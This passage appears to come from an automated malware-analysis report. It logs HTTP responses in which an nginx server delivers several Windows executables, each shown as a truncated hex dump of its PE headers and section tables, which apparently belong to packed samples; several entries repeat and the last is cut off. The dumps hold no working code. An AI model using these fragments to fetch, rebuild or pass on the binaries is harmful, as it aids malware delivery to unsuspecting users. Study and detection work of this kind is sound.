Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 17:29:23 GMTContent-Type: application/octet-streamContent-Length: 1934848Last-Modified: Thu, 24 Oct 2024 17:07:23 GMTConnection: keep-aliveETag: "671a7ecb-1d8600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 80 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4c 00 00 04 00 00 b6 c5 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 6a 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6a 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 70 62 77 79 6e 69 72 00 70 1a 00 00 00 32 00 00 6c 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 78 64 63 73 75 63 6b 00 10 00 00 00 70 4c 00 00 04 00 00 00 60 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4c 00 00 22 00 00 00 64 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 17:29:26 GMTContent-Type: application/octet-streamContent-Length: 1852928Last-Modified: Thu, 24 Oct 2024 17:07:16 GMTConnection: keep-aliveETag: "671a7ec4-1c4600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 f0 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 6a 00 00 04 00 00 55 88 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 66 6e 67 63 63 67 65 00 f0 19 00 00 f0 4f 00 00 e4 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 74 6d 6d 79 65 79 6c 00 10 00 00 00 e0 69 00 00 04 00 00 00 20 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 69 00 00 22 00 00 00 24 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 17:29:29 GMTContent-Type: application/octet-streamContent-Length: 2780160Last-Modified: Thu, 24 Oct 2024 16:45:44 GMTConnection: keep-aliveETag: "671a79b8-2a6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 b8 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 65 6b 71 65 6c 6c 78 00 20 2a 00 00 a0 00 00 00 0c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 74 76 6e 6b 75 64 67 00 20 00 00 00 c0 2a 00 00 04 00 00 00 46 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 4a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 17:30:07 GMTContent-Type: application/octet-streamContent-Length: 2989568Last-Modified: Thu, 24 Oct 2024 17:07:10 GMTConnection: keep-aliveETag: "671a7ebe-2d9e00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 20 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 31 00 00 04 00 00 f2 20 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 65 64 6b 69 73 6e 77 00 10 2b 00 00 00 06 00 00 08 2b 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 64 74 62 72 65 6e 76 00 10 00 00 00 10 31 00 00 04 00 00 00 78 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 31 00 00 22 00 00 00 7c 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 17:30:07 GMTContent-Type: application/octet-streamContent-Length: 2989568Last-Modified: Thu, 24 Oct 2024 17:07:10 GMTConnection: keep-aliveETag: "671a7ebe-2d9e00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 20 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 31 00 00 04 00 00 f2 20 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 65 64 6b 69 73 6e 77 00 10 2b 00 00 00 06 00 00 08 2b 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 64 74 62 72 65 6e 76 00 10 00 00 00 10 31 00 00 04 00 00 00 78 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 31 00 00 22 00 00 00 7c 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 17:30:07 GMTContent-Type: application/octet-streamContent-Length: 2989568Last-Modified: Thu, 24 Oct 2024 17:07:10 GMTConnection: keep-aliveETag: "671a7ebe-2d9e00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 20 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 31 00 00 04 00 00 f2 20 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 65 64 6b 69 73 6e 77 00 10 2b 00 00 00 06 00 00 08 2b 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 64 74 62 72 65 6e 76 00 10 00 00 00 10 31 00 00 04 00 00 00 78 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 31 00 00 22 00 00 00 7c 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 17:30:13 GMTContent-Type: application/octet-streamContent-Length: 1852928Last-Modified: Thu, 24 Oct 2024 17:07:16 GMTConnection: keep-aliveETag: "671a7ec4-1c4600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 f0 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 6a 00 00 04 00 00 55 88 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 66 6e 67 63 63 67 65 00 f0 19 00 00 f0 4f 00 00 e4 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 74 6d 6d 79 65 79 6c 00 10 00 00 00 e0 69 00 00 04 00 00 00 20 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 69 00 00 22 00 00 00 24 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 17:30:19 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 24 Oct 2024 16:45:18 GMTConnection: keep-aliveETag: "671a799e-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 